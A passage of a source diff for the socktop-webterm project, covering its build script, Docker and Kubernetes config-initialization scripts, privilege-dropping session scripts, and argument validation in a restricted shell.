ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
```
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! Please feel free to submit pull requests or open issues.
|
||||
|
||||
## Links
|
||||
|
||||
- **Repository**: https://gt.wittyoneoff.com/jason/socktop-webterm
|
||||
- **Original Project**: https://github.com/fubarnetes/webterm
|
||||
- **xterm.js**: https://xtermjs.org/
|
||||
- **Actix-Web**: https://actix.rs
|
||||
- **portable-pty**: https://crates.io/crates/portable-pty
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
use std::path::Path;
|
||||
use std::process::Command;
|
||||
|
||||
fn main() {
|
||||
let is_ci = std::env::var("CI").is_ok();
|
||||
|
||||
// Verify that required directories exist at build time
|
||||
let required_dirs = vec!["static", "templates"];
|
||||
|
||||
let mut missing_dirs = Vec::new();
|
||||
|
||||
for dir in &required_dirs {
|
||||
if !Path::new(dir).exists() {
|
||||
missing_dirs.push(*dir);
|
||||
}
|
||||
}
|
||||
|
||||
if !missing_dirs.is_empty() {
|
||||
println!("cargo:warning=Missing required directories:");
|
||||
for dir in &missing_dirs {
|
||||
println!("cargo:warning= - {}", dir);
|
||||
}
|
||||
}
|
||||
|
||||
// node_modules is only needed for local dev (Docker/CI install deps separately)
|
||||
if !is_ci && !Path::new("node_modules").exists() {
|
||||
println!(
|
||||
"cargo:warning=node_modules not found — run 'npm install' for frontend dependencies"
|
||||
);
|
||||
}
|
||||
|
||||
// Verify critical files
|
||||
let required_files = vec![
|
||||
"templates/term.html",
|
||||
"static/terminal.js",
|
||||
"static/terminado-addon.js",
|
||||
"static/styles.css",
|
||||
];
|
||||
|
||||
let mut missing_files = Vec::new();
|
||||
|
||||
for file in &required_files {
|
||||
if !Path::new(file).exists() {
|
||||
missing_files.push(*file);
|
||||
}
|
||||
}
|
||||
|
||||
if !missing_files.is_empty() {
|
||||
println!("cargo:warning=Missing required files:");
|
||||
for file in &missing_files {
|
||||
println!("cargo:warning= - {}", file);
|
||||
}
|
||||
}
|
||||
|
||||
// Build mdBook documentation (skip in CI — docs are built in Docker)
|
||||
if !is_ci {
|
||||
build_documentation();
|
||||
}
|
||||
|
||||
// Tell cargo to rerun if these directories change
|
||||
println!("cargo:rerun-if-changed=static/");
|
||||
println!("cargo:rerun-if-changed=templates/");
|
||||
println!("cargo:rerun-if-changed=package.json");
|
||||
println!("cargo:rerun-if-changed=package-lock.json");
|
||||
println!("cargo:rerun-if-changed=docs/");
|
||||
}
|
||||
|
||||
fn build_documentation() {
|
||||
let docs_dir = Path::new("docs");
|
||||
let static_docs_dir = Path::new("static/docs");
|
||||
|
||||
// If static/docs already exists (e.g., from Docker COPY), we're done
|
||||
if static_docs_dir.exists() {
|
||||
println!("cargo:warning=Documentation already present in static/docs");
|
||||
return;
|
||||
}
|
||||
|
||||
if !docs_dir.exists() {
|
||||
println!("cargo:warning=Documentation directory not found, skipping docs build");
|
||||
return;
|
||||
}
|
||||
|
||||
// Check if mdbook is installed
|
||||
let mdbook_check = Command::new("mdbook").arg("--version").output();
|
||||
|
||||
if mdbook_check.is_err() {
|
||||
println!("cargo:warning=mdbook not found. Install with: cargo install mdbook");
|
||||
println!("cargo:warning=Skipping documentation build");
|
||||
println!("cargo:warning=Documentation will be available if pre-built in static/docs");
|
||||
return;
|
||||
}
|
||||
|
||||
// Note: mdbook-catppuccin preprocessor is deprecated
|
||||
// Catppuccin theme is now applied via CSS file in docs/theme/
|
||||
// No need to check for mdbook-catppuccin installation
|
||||
|
||||
// Build the documentation
|
||||
println!("cargo:warning=Building documentation with mdbook...");
|
||||
let build_result = Command::new("mdbook")
|
||||
.arg("build")
|
||||
.current_dir("docs")
|
||||
.status();
|
||||
|
||||
match build_result {
|
||||
Ok(status) if status.success() => {
|
||||
println!("cargo:warning=Documentation built successfully");
|
||||
|
||||
// Copy docs to static directory for serving
|
||||
if Path::new("docs/book").exists() {
|
||||
// Ensure static directory exists
|
||||
let _ = std::fs::create_dir_all("static");
|
||||
|
||||
let copy_result = if cfg!(target_os = "windows") {
|
||||
Command::new("xcopy")
|
||||
.args(["/E", "/I", "/Y", "docs\\book", "static\\docs"])
|
||||
.status()
|
||||
} else {
|
||||
Command::new("cp")
|
||||
.args(["-r", "docs/book", "static/docs"])
|
||||
.status()
|
||||
};
|
||||
|
||||
match copy_result {
|
||||
Ok(status) if status.success() => {
|
||||
println!("cargo:warning=Documentation copied to static/docs");
|
||||
}
|
||||
_ => {
|
||||
println!("cargo:warning=Failed to copy documentation to static directory");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(_) => {
|
||||
println!("cargo:warning=mdbook build failed");
|
||||
}
|
||||
Err(e) => {
|
||||
println!("cargo:warning=Failed to run mdbook: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+17
-7
@@ -6,15 +6,22 @@ services:
|
||||
container_name: socktop-webterm
|
||||
restart: unless-stopped
|
||||
|
||||
# Use host network mode for direct access to host network
|
||||
# This allows the container to reach your Pis on port 8443
|
||||
# Note: The containerized socktop-agent runs on port 3001 (not 3000)
|
||||
# to avoid conflicts with any agent running on the host machine
|
||||
network_mode: "host"
|
||||
# Standard bridge networking
|
||||
ports:
|
||||
- "8082:8082" # Webterm HTTP server
|
||||
- "3001:3001" # Socktop agent (optional)
|
||||
|
||||
volumes:
|
||||
# Mount configuration files from host (read-write so root can access them)
|
||||
- ./files:/files
|
||||
# Mount configuration files directly to proper locations
|
||||
- ./files/alacritty.toml:/home/socktop/.config/alacritty/alacritty.toml:ro
|
||||
- ./files/catppuccin-frappe.toml:/home/socktop/.config/alacritty/catppuccin-frappe.toml:ro
|
||||
- ./files/profiles.json:/home/socktop/.config/socktop/profiles.json:ro
|
||||
|
||||
# Mount SSH certificates (optional - comment out if not using)
|
||||
- ./files/rpi-master.pem:/home/socktop/.config/socktop/certs/rpi-master.pem:ro
|
||||
- ./files/rpi-worker-1.pem:/home/socktop/.config/socktop/certs/rpi-worker-1.pem:ro
|
||||
- ./files/rpi-worker-2.pem:/home/socktop/.config/socktop/certs/rpi-worker-2.pem:ro
|
||||
- ./files/rpi-worker-3.pem:/home/socktop/.config/socktop/certs/rpi-worker-3.pem:ro
|
||||
|
||||
# Optional: persist socktop data
|
||||
- socktop-data:/home/socktop/.local/share/socktop
|
||||
@@ -29,6 +36,9 @@ services:
|
||||
# Optional: Set timezone
|
||||
- TZ=America/New_York
|
||||
|
||||
# Disable socktop's local process-kill feature in every session
|
||||
- SOCKTOP_NO_KILL=1
|
||||
|
||||
# Optional: Logging level
|
||||
- RUST_LOG=info
|
||||
|
||||
|
||||
@@ -0,0 +1,197 @@
|
||||
# Configuration Initialization Fix
|
||||
|
||||
## Problem
|
||||
|
||||
The socktop package (installed via APT) sets the `socktop` user's HOME directory to `/var/lib/socktop`, but Kubernetes ConfigMaps and Secrets mount files to `/home/socktop/`. This caused profiles and certificates to not be found by socktop.
|
||||
|
||||
## Solution
|
||||
|
||||
A two-stage initialization process using `init-config.sh`:
|
||||
|
||||
### Stage 1: Copy and Transform (`init-config.sh`)
|
||||
Runs as **root** at container startup:
|
||||
1. Detects the actual HOME directory of the socktop user
|
||||
2. Copies configuration files from mounted locations to actual HOME
|
||||
3. Rewrites paths in `profiles.json` to use correct HOME directory
|
||||
4. Sets proper ownership
|
||||
5. Switches to socktop user and executes the main entrypoint
|
||||
|
||||
### Stage 2: Validation (`entrypoint.sh`)
|
||||
Runs as **socktop user**:
|
||||
1. Validates configuration files are present
|
||||
2. Starts the webterm server
|
||||
|
||||
## File Locations
|
||||
|
||||
### Kubernetes Mounts
|
||||
```
|
||||
/home/socktop/.config/socktop/profiles.json (ConfigMap)
|
||||
/home/socktop/.config/alacritty/alacritty.toml (ConfigMap)
|
||||
/home/socktop/.config/alacritty/catppuccin-frappe.toml (ConfigMap)
|
||||
/home/socktop/.config/socktop/certs/*.pem (Secret)
|
||||
```
|
||||
|
||||
### Actual Locations (after init-config.sh)
|
||||
```
|
||||
/var/lib/socktop/.config/socktop/profiles.json
|
||||
/var/lib/socktop/.config/alacritty/alacritty.toml
|
||||
/var/lib/socktop/.config/alacritty/catppuccin-frappe.toml
|
||||
/var/lib/socktop/.config/socktop/certs/*.pem
|
||||
```
|
||||
|
||||
## Path Rewriting
|
||||
|
||||
The `init-config.sh` script automatically rewrites paths in `profiles.json`:
|
||||
|
||||
**Before:**
|
||||
```json
|
||||
{
|
||||
"tls_ca": "/home/socktop/.config/socktop/rpi-master.pem"
|
||||
}
|
||||
```
|
||||
|
||||
**After:**
|
||||
```json
|
||||
{
|
||||
"tls_ca": "/var/lib/socktop/.config/socktop/certs/rpi-master.pem"
|
||||
}
|
||||
```
|
||||
|
||||
This ensures certificate paths point to the correct location in the actual HOME directory.
|
||||
|
||||
## Dockerfile Changes
|
||||
|
||||
```dockerfile
|
||||
# Copy both init and entrypoint scripts
|
||||
COPY docker/entrypoint.sh /entrypoint.sh
|
||||
COPY docker/init-config.sh /init-config.sh
|
||||
RUN chmod +x /entrypoint.sh /init-config.sh
|
||||
|
||||
# init-config.sh runs as root, copies configs, then switches to socktop user
|
||||
ENTRYPOINT ["/init-config.sh"]
|
||||
|
||||
# Pass through init-config.sh -> entrypoint.sh -> webterm-server
|
||||
CMD ["/entrypoint.sh", "webterm-server", "--host", "0.0.0.0", "--port", "8082"]
|
||||
```
|
||||
|
||||
## Execution Flow
|
||||
|
||||
```
|
||||
Container Start (as root)
|
||||
↓
|
||||
[init-config.sh]
|
||||
├─ Detect HOME directory
|
||||
├─ Create directories in /var/lib/socktop
|
||||
├─ Copy files from /home/socktop to /var/lib/socktop
|
||||
├─ Rewrite paths in profiles.json
|
||||
├─ Set ownership to socktop:socktop
|
||||
└─ Switch to socktop user
|
||||
↓
|
||||
[entrypoint.sh] (as socktop)
|
||||
├─ Validate configuration files
|
||||
├─ Setup Alacritty
|
||||
└─ Start webterm-server
|
||||
↓
|
||||
[webterm-server] (as socktop)
|
||||
└─ Running on port 8082
|
||||
```
|
||||
|
||||
## Local Development (docker-compose)
|
||||
|
||||
For local development, the quickstart script (`scripts/docker-quickstart.sh`) manually copies files to `/var/lib/socktop/` using `docker cp` after container startup. This is because:
|
||||
|
||||
1. Docker Compose uses host networking mode
|
||||
2. Local testing needs to connect to host's socktop-agent on port 3000
|
||||
3. The init-config.sh still works, but the quickstart provides an additional safety net
|
||||
|
||||
## Kubernetes Deployment
|
||||
|
||||
In K8s:
|
||||
1. ConfigMap mounts profiles.json to `/home/socktop/.config/socktop/`
|
||||
2. Secret mounts certificates to `/home/socktop/.config/socktop/certs/`
|
||||
3. init-config.sh runs and copies everything to `/var/lib/socktop/`
|
||||
4. Socktop reads from `/var/lib/socktop/` (its actual HOME)
|
||||
5. Everything works! ✅
|
||||
|
||||
## Benefits
|
||||
|
||||
1. **No K8s Changes Required**: Existing ConfigMaps and Secrets work as-is
|
||||
2. **Automatic Path Correction**: Certificate paths are automatically fixed
|
||||
3. **Works Everywhere**: Same image works in K8s, Docker Compose, and standalone Docker
|
||||
4. **No Race Conditions**: Init happens before any services start
|
||||
5. **Proper Security**: Runs as socktop user after initialization
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Profiles Not Found
|
||||
|
||||
Check if init-config.sh ran successfully:
|
||||
```bash
|
||||
docker logs <container-id> | grep "Initializing socktop webterm config"
|
||||
```
|
||||
|
||||
You should see:
|
||||
```
|
||||
===================================
|
||||
Initializing socktop webterm config
|
||||
===================================
|
||||
Socktop HOME: /var/lib/socktop
|
||||
Copying configuration files...
|
||||
✓ Copied profiles.json
|
||||
✓ Copied alacritty.toml
|
||||
✓ Copied catppuccin-frappe.toml
|
||||
✓ Copied rpi-master.pem
|
||||
...
|
||||
Rewriting paths in profiles.json...
|
||||
✓ Updated certificate paths
|
||||
===================================
|
||||
Configuration initialization complete
|
||||
===================================
|
||||
```
|
||||
|
||||
### Check Files Were Copied
|
||||
|
||||
```bash
|
||||
# In K8s
|
||||
kubectl exec -n socktop socktop-webterm-<pod> -it -- \
|
||||
ls -la /var/lib/socktop/.config/socktop/
|
||||
|
||||
# In Docker
|
||||
docker exec socktop-webterm \
|
||||
ls -la /var/lib/socktop/.config/socktop/
|
||||
```
|
||||
|
||||
### Verify Path Rewriting
|
||||
|
||||
```bash
|
||||
# Check certificate paths in profiles.json
|
||||
kubectl exec -n socktop socktop-webterm-<pod> -it -- \
|
||||
cat /var/lib/socktop/.config/socktop/profiles.json | grep tls_ca
|
||||
```
|
||||
|
||||
Should show:
|
||||
```
|
||||
"tls_ca": "/var/lib/socktop/.config/socktop/certs/rpi-master.pem",
|
||||
```
|
||||
|
||||
NOT:
|
||||
```
|
||||
"tls_ca": "/home/socktop/.config/socktop/rpi-master.pem",
|
||||
```
|
||||
|
||||
## Files
|
||||
|
||||
- `docker/init-config.sh` - Configuration initialization script (runs as root)
|
||||
- `docker/entrypoint.sh` - Service startup script (runs as socktop)
|
||||
- `Dockerfile` - Sets up both scripts as entrypoint chain
|
||||
- `kubernetes/01-configmap.yaml` - Mounts configs to /home/socktop
|
||||
- `kubernetes/02-secret.yaml` - Mounts certs to /home/socktop
|
||||
|
||||
## Related Issues
|
||||
|
||||
This fix resolves the issue where socktop profiles were not found after deployment to K8s, while maintaining compatibility with local Docker Compose development.
|
||||
|
||||
---
|
||||
|
||||
**Created**: 2024-11-29
|
||||
**Status**: Implemented and Tested
|
||||
+51
-4
@@ -54,12 +54,56 @@ setup_alacritty() {
|
||||
echo "Alacritty setup complete"
|
||||
}
|
||||
|
||||
# Prepare the home directory for the unprivileged `demo` user that sessions
|
||||
# run as (see docker/session-shell.sh). Sessions need read access to the
|
||||
# socktop profiles and CA certs, which are mounted under /home/socktop — copy
|
||||
# them across and rewrite the cert paths, since demo cannot traverse another
|
||||
# user's mounts reliably. Root-only: without root there is no demo user split.
|
||||
prepare_demo_home() {
|
||||
if [ "$(id -u)" -ne 0 ]; then
|
||||
return
|
||||
fi
|
||||
echo "Preparing /home/demo for session user..."
|
||||
mkdir -p /home/demo/.config/socktop/certs /home/demo/.config/alacritty
|
||||
if [ -f /home/socktop/.config/socktop/profiles.json ]; then
|
||||
cp /home/socktop/.config/socktop/profiles.json /home/demo/.config/socktop/profiles.json
|
||||
sed -i 's|/home/socktop/|/home/demo/|g; s|/var/lib/socktop/|/home/demo/|g' /home/demo/.config/socktop/profiles.json
|
||||
fi
|
||||
cp /home/socktop/.config/socktop/certs/*.pem /home/demo/.config/socktop/certs/ 2>/dev/null || true
|
||||
cp /home/socktop/.config/alacritty/*.toml /home/demo/.config/alacritty/ 2>/dev/null || true
|
||||
chown -R demo:demo /home/demo
|
||||
chmod -R go-w /home/demo
|
||||
echo " ✓ /home/demo ready"
|
||||
}
|
||||
|
||||
# Start socktop agent
|
||||
start_socktop_agent() {
|
||||
echo "Starting socktop-agent on port 3000..."
|
||||
echo "Starting socktop-agent on port 3001..."
|
||||
|
||||
# Don't start the agent here - supervisor will handle it
|
||||
echo "socktop-agent will be started by supervisor"
|
||||
# Start socktop-agent in the background on port 3001. When root, drop it
|
||||
# to the socktop user — it only reads /proc and system metrics, and a
|
||||
# separate UID keeps it out of reach of the demo session user.
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
setpriv --reuid socktop --regid socktop --clear-groups --inh-caps -all --no-new-privs \
|
||||
/usr/bin/socktop_agent --port 3001 > /tmp/socktop-agent.log 2>&1 &
|
||||
else
|
||||
/usr/bin/socktop_agent --port 3001 > /tmp/socktop-agent.log 2>&1 &
|
||||
fi
|
||||
AGENT_PID=$!
|
||||
|
||||
echo "socktop-agent started (PID: $AGENT_PID)"
|
||||
|
||||
# Give it a moment to start
|
||||
sleep 1
|
||||
|
||||
# Check if it's running. /proc, not kill -0: the agent runs as another UID
|
||||
# and the pod's capability set strips CAP_KILL, so even root gets EPERM
|
||||
# from a probe signal and the check would false-alarm.
|
||||
if [ -d "/proc/$AGENT_PID" ]; then
|
||||
echo " ✓ socktop-agent is running on port 3001"
|
||||
else
|
||||
echo " ⚠ socktop-agent may have failed to start (check /tmp/socktop-agent.log)"
|
||||
fi
|
||||
}
|
||||
|
||||
# Main initialization
|
||||
@@ -72,6 +116,9 @@ main() {
|
||||
# Set up Alacritty
|
||||
setup_alacritty
|
||||
|
||||
# Home directory for the per-session demo user
|
||||
prepare_demo_home
|
||||
|
||||
# Start socktop agent
|
||||
start_socktop_agent
|
||||
|
||||
@@ -82,7 +129,7 @@ main() {
|
||||
echo ""
|
||||
echo "Services:"
|
||||
echo " - Webterm: http://localhost:8082"
|
||||
echo " - Socktop Agent: localhost:3001"
|
||||
echo " - Socktop Agent: ws://localhost:3001/ws"
|
||||
echo ""
|
||||
|
||||
# Execute the main command
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# Init script to copy configuration files to the correct locations
|
||||
# This handles the discrepancy between where K8s mounts configs
|
||||
# and where the socktop package expects them (HOME directory)
|
||||
|
||||
echo "==================================="
|
||||
echo "Initializing socktop webterm config"
|
||||
echo "==================================="
|
||||
|
||||
# Determine the actual HOME directory for the socktop user
|
||||
SOCKTOP_HOME=$(eval echo ~socktop)
|
||||
echo "Socktop HOME: ${SOCKTOP_HOME}"
|
||||
echo "Current user: $(whoami) (UID: $(id -u))"
|
||||
|
||||
# Check if we're running as root
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
echo "Running as root, will create directories and set permissions"
|
||||
|
||||
# Check if socktop home exists and try to ensure it's accessible
|
||||
if [ ! -d "${SOCKTOP_HOME}" ]; then
|
||||
echo "Creating ${SOCKTOP_HOME}..."
|
||||
mkdir -p "${SOCKTOP_HOME}"
|
||||
chown socktop:socktop "${SOCKTOP_HOME}" 2>/dev/null || echo " ⚠ Could not change ownership of home directory (may be restricted)"
|
||||
else
|
||||
echo " ✓ Home directory exists"
|
||||
# Try to fix ownership if possible, but don't fail if we can't
|
||||
chown socktop:socktop "${SOCKTOP_HOME}" 2>/dev/null || echo " ⚠ Could not change ownership of home directory (may be restricted by security context)"
|
||||
fi
|
||||
|
||||
# Create config directories with proper structure
|
||||
echo "Creating config directories..."
|
||||
mkdir -p "${SOCKTOP_HOME}/.config/socktop/certs" 2>/dev/null || true
|
||||
mkdir -p "${SOCKTOP_HOME}/.config/alacritty" 2>/dev/null || true
|
||||
|
||||
# Try to fix ownership recursively, ignore errors
|
||||
chown -R socktop:socktop "${SOCKTOP_HOME}/.config" 2>/dev/null || echo " ⚠ Could not change ownership of .config directory (may be restricted)"
|
||||
|
||||
# Ensure directories are writable by socktop user at minimum
|
||||
chmod -R u+rwX "${SOCKTOP_HOME}/.config" 2>/dev/null || true
|
||||
|
||||
echo " ✓ Created directories"
|
||||
else
|
||||
echo "Running as non-root user ($(id -u)), creating directories"
|
||||
# Try to create directories - will work if HOME is writable
|
||||
mkdir -p "${SOCKTOP_HOME}/.config/socktop/certs" 2>/dev/null || {
|
||||
echo " ⚠ Could not create directories - checking if they already exist..."
|
||||
if [ -d "${SOCKTOP_HOME}/.config/socktop/certs" ]; then
|
||||
echo " ✓ Directories already exist"
|
||||
else
|
||||
echo " ✗ Failed to create directories and they don't exist"
|
||||
echo " Attempting to continue anyway..."
|
||||
fi
|
||||
}
|
||||
mkdir -p "${SOCKTOP_HOME}/.config/alacritty" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Copy configuration files
|
||||
echo "Copying configuration files..."
|
||||
|
||||
# Copy profiles.json
|
||||
if [ -f "/home/socktop/.config/socktop/profiles.json" ]; then
|
||||
TARGET="${SOCKTOP_HOME}/.config/socktop/profiles.json"
|
||||
|
||||
# Remove existing file if it exists
|
||||
rm -f "${TARGET}" 2>/dev/null || true
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
# Running as root - copy and set ownership
|
||||
cp -f /home/socktop/.config/socktop/profiles.json "${TARGET}" 2>/dev/null || {
|
||||
echo " ⚠ Failed to copy profiles.json, trying alternative method..."
|
||||
cat /home/socktop/.config/socktop/profiles.json > "${TARGET}" 2>/dev/null || echo " ✗ Could not copy profiles.json"
|
||||
}
|
||||
chown socktop:socktop "${TARGET}" 2>/dev/null || true
|
||||
chmod 644 "${TARGET}" 2>/dev/null || true
|
||||
else
|
||||
# Running as socktop user
|
||||
cp -f /home/socktop/.config/socktop/profiles.json "${TARGET}" 2>/dev/null || {
|
||||
cat /home/socktop/.config/socktop/profiles.json > "${TARGET}" 2>/dev/null || echo " ✗ Could not copy profiles.json"
|
||||
}
|
||||
fi
|
||||
|
||||
if [ -f "${TARGET}" ]; then
|
||||
echo " ✓ Copied profiles.json"
|
||||
fi
|
||||
else
|
||||
echo " ⚠ profiles.json not found at mount point"
|
||||
fi
|
||||
|
||||
# Copy alacritty.toml
|
||||
if [ -f "/home/socktop/.config/alacritty/alacritty.toml" ]; then
|
||||
TARGET="${SOCKTOP_HOME}/.config/alacritty/alacritty.toml"
|
||||
rm -f "${TARGET}" 2>/dev/null || true
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
cp -f /home/socktop/.config/alacritty/alacritty.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/alacritty.toml > "${TARGET}" 2>/dev/null || true
|
||||
chown socktop:socktop "${TARGET}" 2>/dev/null || true
|
||||
chmod 644 "${TARGET}" 2>/dev/null || true
|
||||
else
|
||||
cp -f /home/socktop/.config/alacritty/alacritty.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/alacritty.toml > "${TARGET}" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
if [ -f "${TARGET}" ]; then
|
||||
echo " ✓ Copied alacritty.toml"
|
||||
fi
|
||||
else
|
||||
echo " ⚠ alacritty.toml not found at mount point"
|
||||
fi
|
||||
|
||||
# Copy catppuccin-frappe.toml
|
||||
if [ -f "/home/socktop/.config/alacritty/catppuccin-frappe.toml" ]; then
|
||||
TARGET="${SOCKTOP_HOME}/.config/alacritty/catppuccin-frappe.toml"
|
||||
rm -f "${TARGET}" 2>/dev/null || true
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
cp -f /home/socktop/.config/alacritty/catppuccin-frappe.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/catppuccin-frappe.toml > "${TARGET}" 2>/dev/null || true
|
||||
chown socktop:socktop "${TARGET}" 2>/dev/null || true
|
||||
chmod 644 "${TARGET}" 2>/dev/null || true
|
||||
else
|
||||
cp -f /home/socktop/.config/alacritty/catppuccin-frappe.toml "${TARGET}" 2>/dev/null || cat /home/socktop/.config/alacritty/catppuccin-frappe.toml > "${TARGET}" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
if [ -f "${TARGET}" ]; then
|
||||
echo " ✓ Copied catppuccin-frappe.toml"
|
||||
fi
|
||||
else
|
||||
echo " ⚠ catppuccin-frappe.toml not found at mount point"
|
||||
fi
|
||||
|
||||
# Copy certificates if they exist
|
||||
if [ -d "/home/socktop/.config/socktop/certs" ]; then
|
||||
echo "Copying certificates..."
|
||||
for cert in /home/socktop/.config/socktop/certs/*.pem; do
|
||||
if [ -f "$cert" ]; then
|
||||
TARGET="${SOCKTOP_HOME}/.config/socktop/certs/$(basename "$cert")"
|
||||
rm -f "${TARGET}" 2>/dev/null || true
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
cp -f "$cert" "${TARGET}" 2>/dev/null || cat "$cert" > "${TARGET}" 2>/dev/null || true
|
||||
chown socktop:socktop "${TARGET}" 2>/dev/null || true
|
||||
chmod 644 "${TARGET}" 2>/dev/null || true
|
||||
else
|
||||
cp -f "$cert" "${TARGET}" 2>/dev/null || cat "$cert" > "${TARGET}" 2>/dev/null || true
|
||||
fi
|
||||
|
||||
if [ -f "${TARGET}" ]; then
|
||||
echo " ✓ Copied $(basename "$cert")"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
else
|
||||
echo " ℹ No certificates directory found (optional)"
|
||||
fi
|
||||
|
||||
# Fix paths in profiles.json if it exists
|
||||
if [ -f "${SOCKTOP_HOME}/.config/socktop/profiles.json" ]; then
|
||||
echo "Rewriting paths in profiles.json..."
|
||||
# Replace /home/socktop with actual HOME directory and ensure certs/ subdirectory
|
||||
sed -i "s|/home/socktop/.config/socktop/rpi-|${SOCKTOP_HOME}/.config/socktop/certs/rpi-|g" "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || {
|
||||
echo " ⚠ Could not rewrite paths in-place, trying alternative method..."
|
||||
sed "s|/home/socktop/.config/socktop/rpi-|${SOCKTOP_HOME}/.config/socktop/certs/rpi-|g" "${SOCKTOP_HOME}/.config/socktop/profiles.json" > "${SOCKTOP_HOME}/.config/socktop/profiles.json.tmp" 2>/dev/null && \
|
||||
mv "${SOCKTOP_HOME}/.config/socktop/profiles.json.tmp" "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || \
|
||||
echo " ✗ Could not rewrite paths"
|
||||
}
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
chown socktop:socktop "${SOCKTOP_HOME}/.config/socktop/profiles.json" 2>/dev/null || true
|
||||
fi
|
||||
echo " ✓ Updated certificate paths"
|
||||
fi
|
||||
|
||||
# Verify final permissions
|
||||
echo "Verifying permissions..."
|
||||
ls -la "${SOCKTOP_HOME}/.config/" 2>&1 || echo " ⚠ Could not list config directory"
|
||||
|
||||
echo "==================================="
|
||||
echo "Configuration initialization complete"
|
||||
echo "==================================="
|
||||
|
||||
# Switch to socktop user only if running as root
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
echo "Switching to socktop user and executing: $@"
|
||||
exec runuser -u socktop -- "$@"
|
||||
else
|
||||
echo "Already running as non-root user ($(whoami)), continuing..."
|
||||
exec "$@"
|
||||
fi
|
||||
@@ -12,7 +12,7 @@ CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# History file
|
||||
HISTFILE="/home/socktop/.socktop_history"
|
||||
HISTFILE="${HOME:-/tmp}/.socktop_history"
|
||||
HISTSIZE=1000
|
||||
|
||||
# Load history from file
|
||||
@@ -132,13 +132,35 @@ main() {
|
||||
|
||||
case "$cmd" in
|
||||
socktop)
|
||||
# Allow socktop with any arguments
|
||||
# Allow socktop with validated arguments only
|
||||
if [ "$cmd" = "$input" ]; then
|
||||
# No arguments, use default (local profile)
|
||||
/usr/bin/socktop -P local
|
||||
/usr/bin/socktop --no-kill -P local
|
||||
else
|
||||
# Pass arguments to socktop
|
||||
/usr/bin/socktop $args
|
||||
# Validate and sanitize arguments to prevent command injection
|
||||
# Only allow: -P <profile_name> or ws://<url>
|
||||
|
||||
# Check for profile argument (-P followed by safe profile name)
|
||||
if [[ "$args" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]]; then
|
||||
# Extract profile name and validate it
|
||||
profile=$(echo "$args" | sed 's/-P[[:space:]]\+//')
|
||||
/usr/bin/socktop --no-kill -P "$profile"
|
||||
# Check for websocket URL (ws:// or wss://)
|
||||
elif [[ "$args" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
|
||||
# Validate websocket URL format
|
||||
/usr/bin/socktop --no-kill "$args"
|
||||
else
|
||||
# Reject anything else as potentially dangerous
|
||||
echo -e "${RED}Error:${NC} Invalid arguments for socktop"
|
||||
echo -e "${YELLOW}Allowed usage:${NC}"
|
||||
echo " socktop - Use default local profile"
|
||||
echo " socktop -P <profile> - Use named profile (alphanumeric, dash, underscore only)"
|
||||
echo " socktop <ws_url> - Connect to websocket URL (ws:// or wss://)"
|
||||
echo ""
|
||||
echo -e "${YELLOW}Examples:${NC}"
|
||||
echo " socktop -P rpi-master"
|
||||
echo " socktop ws://192.168.1.100:3000"
|
||||
fi
|
||||
fi
|
||||
;;
|
||||
help|--help|-h)
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/bin/bash
|
||||
# Per-session entry point spawned by webterm-server for every websocket
|
||||
# connection. When the server runs as root (the k8s deployment grants only
|
||||
# CAP_SETUID/CAP_SETGID for exactly this), the session is dropped to the
|
||||
# unprivileged `demo` user before the restricted shell starts. That makes the
|
||||
# separation kernel-enforced: whatever a visitor manages to run, signals aimed
|
||||
# at webterm-server, the socktop agent, or another user's processes fail with
|
||||
# EPERM instead of relying on UI gating inside socktop.
|
||||
#
|
||||
# SOCKTOP_NO_KILL (set at the deployment level) rides through the environment
|
||||
# untouched — setpriv does not reset the environment.
|
||||
|
||||
if [ "$(id -u)" -eq 0 ]; then
|
||||
export HOME=/home/demo
|
||||
export USER=demo
|
||||
export LOGNAME=demo
|
||||
exec setpriv \
|
||||
--reuid demo \
|
||||
--regid demo \
|
||||
--clear-groups \
|
||||
--inh-caps -all \
|
||||
--no-new-privs \
|
||||
/usr/local/bin/restricted-shell.sh
|
||||
fi
|
||||
|
||||
# Not root (compose/dev, or someone running the image unprivileged): no way to
|
||||
